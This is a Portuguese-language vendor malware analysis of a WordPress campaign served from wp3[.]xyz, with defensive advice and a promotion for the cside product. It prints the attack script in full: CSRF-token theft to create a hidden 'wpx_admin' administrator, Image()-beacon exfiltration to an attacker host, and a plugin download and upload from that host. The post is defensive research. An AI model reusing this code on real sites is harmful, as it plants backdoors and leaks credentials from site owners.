Resumo: conta de administrador oculta e upload de plugin do wp3.xyz via replay de CSRF
- Não é um CVE de plugin: A maioria dos guias de reforço de segurança do WordPress aponta as vulnerabilidades de plugins como o risco. O wp3[.]xyz mostra que o risco real é o que um script malicioso faz depois de um comprometimento, e não foi preciso um CVE novo para instalar a backdoor wpx_admin em mais de 5,000 sites.
- A cadeia do ataque: O script obtinha um token CSRF _wpnonce_create-user, fazia POST de uma conta com função de administrador, depois descarregava o plugin.php e instalava-o via /wp-admin/update.php?action=upload-plugin, exfiltrando registos através de beacons Image() para tdw1.php. A cside detetou e travou o ataque no site de um utilizador do plano gratuito antes de o plugin ser ativado.
- Vá além do 2FA: Se a sua estratégia de reforço de segurança do WordPress termina nas atualizações de plugins e na autenticação 2FA, está a proteger-se contra o manual de ataque de ontem. Acrescente esta semana uma monitorização de scripts em tempo de execução que sinalize chamadas fetch para /wp-admin/user-new.php provenientes de origens de terceiros.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
Descobrimos uma campanha de malware generalizada que visa sites WordPress, afetando mais de 5,000 sites a nível mundial.
O domínio malicioso: https://wp3[.]xyz/td.js.
Um dos nossos utilizadores foi afetado. A cside detetou e travou o ataque.

Ainda não é claro como os scripts entraram nos sites. Até agora, não identificámos um denominador comum, e a nossa investigação está em curso.
Sabemos, contudo, que o script cria contas de administrador não autorizadas com um nome de utilizador e uma palavra-passe que podem ser encontrados no código.
- Nome de utilizador: wpx_admin
- Palavra-passe: [REDACTED]
Depois de criar a conta, o script descarrega um plugin malicioso do WordPress e ativa-o no site agora infetado - enviando dados sensíveis para um servidor remoto.
Verifique já o seu site para remover quaisquer contas de administrador não autorizadas e quaisquer plugins ou temas não utilizados.
Encontre sites infetados através de:
O script em detalhe
Primeiro, o script obtém o token CSRF necessário para o pedido. De seguida, envia um pedido POST para criar um utilizador com credenciais fixas no código. Regista o estado da operação.
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY CSIDE]');
formData.append('pass2', '[REDACTED BY CSIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
Depois de o script descarregar o plugin obtido de https://wp3[.]xyz/plugin.php, este ativa-o no site infetado. O script comunica com https://wp3[.]xyz/tdw1.php, enviando dados sensíveis como credenciais de administrador e registos de operações através de pedidos de imagem ofuscados.
function sendLog(data) {
const logUrl = 'https://wp3[.]xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
Assim que o atacante tem acesso de administrador, o script carrega um plugin malicioso. Vai buscar o plugin a um servidor remoto e carrega-o no site WordPress.
A função installPlugin funciona da seguinte forma:
- Obtém a página de upload de plugins para recuperar o token CSRF.
- Descarrega o ficheiro do plugin malicioso.
- Submete o ficheiro do plugin para instalação.
De seguida, utiliza as seguintes técnicas:
- Carregamento do plugin via: /wp-admin/update[.]php?action=upload-plugin.
- Obtenção do plugin a partir de uma fonte externa: https://wp3[.]xyz.
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
Por fim, o script verifica se o plugin malicioso foi instalado com sucesso, procurando referências a https://wp3[.]xyz no conteúdo do site.
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3[.]xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
Proteja-se contra este ataque
- Bloqueie o domínio https://wp3[.]xyz em firewalls ou ferramentas de segurança.
- Audite as contas de administrador do WordPress em busca de utilizadores não autorizados.
- Remova plugins suspeitos e valide os existentes.
- Reforce as proteções CSRF e implemente autenticação multifator (MFA).
- Considere utilizar a cside
O utilizador infetado utilizava a versão de plano gratuito da cside. Pode instalar a cside para proteger o seu site em minutos contra este ataque e outros semelhantes.
A cside obtém e analisa todos os scripts do nosso lado para análise em tempo real, alertando e bloqueando os potencialmente maliciosos. Este script, obtido de https://wp3[.]xyz/tdw.js, foi detetado e bloqueado com sucesso no site do nosso utilizador.
Por favor, contacte-nos se estiver preocupado ou quiser aderir aos planos superiores.
Verifique o seu site em busca de todos os administradores e certifique-se de que as respetivas palavras-passe e 2FA estão configurados corretamente. Pode utilizar o nosso rastreador público para verificar se existem scripts potencialmente maliciosos no seu site.









